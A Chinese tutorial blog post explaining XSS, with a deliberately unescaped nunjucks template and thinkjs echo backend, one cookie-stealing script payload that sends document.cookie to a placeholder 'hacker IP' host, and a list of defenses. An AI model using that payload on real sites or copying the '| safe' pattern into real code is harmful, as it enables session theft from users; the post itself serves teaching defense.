分享一下我的偶像大神的人工智慧教程！http://blog.csdn.net/jiangjunshow

也歡迎轉載我的文章，轉載請註明出處 https://blog.csdn.net/aabbyyz

XSS的背景與介紹

背景

隨著網際網路的發展，網站經歷由單純的只讀模式到web2.0興起的互動模式變遷，而正在向完美融合了人工智慧的web3.0的道路發展。目前使用者訪問的大多數網站均有互動的功能，例如是電商網站的評論，微博網站的轉發，論壇的發帖等等。對於正常使用者而言，他們是遵守發帖和留言規範的，但對於黑客，他們是不會老老實實的按規矩辦事的。下面的GIF圖展示的是一個XSS攻擊的示意：

XSS定義

跨站指令碼（英語：Cross-site scripting，通常簡稱為：XSS）是一種網站應用程式的安全漏洞攻擊，是程式碼注入的一種。它允許惡意使用者將程式碼注入到網頁上，其他使用者在觀看網頁時就會受到影響。這類攻擊通常包含了HTML以及使用者端指令碼語言。 XSS攻擊通常指的是通過利用網頁開發時留下的漏洞，通過巧妙的方法注入惡意指令程式碼到網頁，使使用者載入並執行攻擊者惡意製造的網頁程式。這些惡意網頁程式通常是JavaScript，但實際上也可以包括Java，VBScript，ActiveX，Flash或者甚至是普通的HTML。攻擊成功後，攻擊者可能得到更高的許可權（如執行一些操作）、私密網頁內容、會話和cookie等各種內容。

簡而言之，現在的網頁基本是由html+css+javascript組成，普通使用者輸入的留言是文字資訊，而黑客輸入的留言內容則有可能是javascript程式碼。

程式碼解釋

以上GIF所展示的，是一個使用者將文字框的資訊提交form表單到後臺，後臺反饋到前臺進行留言展示的場景。表單提交程式碼如下：

<form role="form" method="post">
    <div class="form-group">
        <label>輸入內容</label><br />
        <textarea
 
 id="text" name="text"></textarea>
        </label>
    </div>
    <button id="btn" type="submit" class="btn btn-default">提交</button>
</form>

<label>展示內容</label>
<div id="show" class="col-md-4">
    {{text  | safe}}
        <!--這裡是nunjucks模板的展示寫法，由後臺賦值text變數-->
</div>

<script>
    $("#btn").click(function() {
        $.ajax({
            type: "POST",
            url: "/index",
            cache: false,
            data: {"text": $("#text").text()},
            success: function(msg) {
            }
        });
    })
</script>
  

   
1
   
2
   
3
   
4
   
5
   
6
   
7
   
8
   
9
   
10
   
11
   
12
   
13
   
14
   
15
   
16
   
17
   
18
   
19
   
20
   
21
   
22
   
23
   
24
   
25
   
26
   
27
  

前臺表單提交到後臺伺服器，可以直接使用form表單提交，也可以使用ajax提交的方式。後臺程式碼可以選擇任意語言實現（java、php或者nodejs等均可），這裡使用的nodejs程式碼，thinkjs3的框架，後臺程式碼如下：

//index.js
const Base = require('./base.js');

module.exports = class extends Base {
    indexAction() {
        if(this.isGet) {
                        //如果是Get請求，直接顯示前臺頁面
            return this.display();
        } else if(this.isPost) {
                        //如果是Post請求，賦值nunjucks模板中的text變數，再進行頁面展示
            let post = this.post();
            this.assign("text", post.text);
            return this.display();
        }
    }
};
  

   
1
   
2
   
3
   
4
   
5
   
6
   
7
   
8
   
9
   
10
   
11
   
12
   
13
   
14
   
15
   
16
  

這裡只是一個比較輕微的彈出警告框的攻擊，但如果攻擊程式碼是：

<script type=text/javascript>window.location = "http://黑客IP:8360/getcookie?cookie="+document.cookie</script>
  

   
1
  

則會將使用者的cookie資訊傳送到黑客那裡，而使用者的cookie資訊中很可能含有使用者名稱和密碼等重要資訊，後果不堪設想。

當前防禦 XSS 的幾種策略

瀏覽器端主動進行XSS識別
伺服器端對於使用者輸入的內容進行過濾
使用較為安全的開發框架或模板

1、瀏覽器端主動進行XSS識別

如上述Chrome瀏覽器會自動識別XSS攻擊程式碼，並進行請求的遮蔽

2、伺服器端對於使用者輸入的內容進行過濾

a)將重要的cookie標記為http only, 這樣的話Javascript 中的document.cookie語句就不能獲取到cookie了；
b)只允許使用者輸入我們希望的資料，進行資料格式校驗，例如年齡就只能輸入0-160的數字
c)對資料進行html encode處理，過濾或移除特殊的Html標籤， 例如:

&lt; 替代 <, &gt; 替代 >, &quot 替代 "
  

   
1
  

d)過濾JavaScript 事件的標籤。例如 “onclick=”, “onfocus” 等等。

3、使用較為安全的開發框架

上述程式碼所使用的nunjucks模板中：

<label>展示內容</label>
<div id="show" class="col-md-4">
    {{text  | safe}}
        <!--這裡是nunjucks模板的展示寫法，由後臺賦值text變數-->
</div>
  

   
1
   
2
   
3
   
4
   
5
  

nunjucks預設所有值都會在檢視內自動轉義，以防止HTML注入和XSS攻擊。

總結

XSS攻擊相比於CSRF攻擊，還是比較容易防範的，只要同時限制使用者輸入資料的格式和進行資料轉義，基本可以杜絕此類攻擊。

給我偶像的人工智慧教程打call！http://blog.csdn.net/jiangjunshow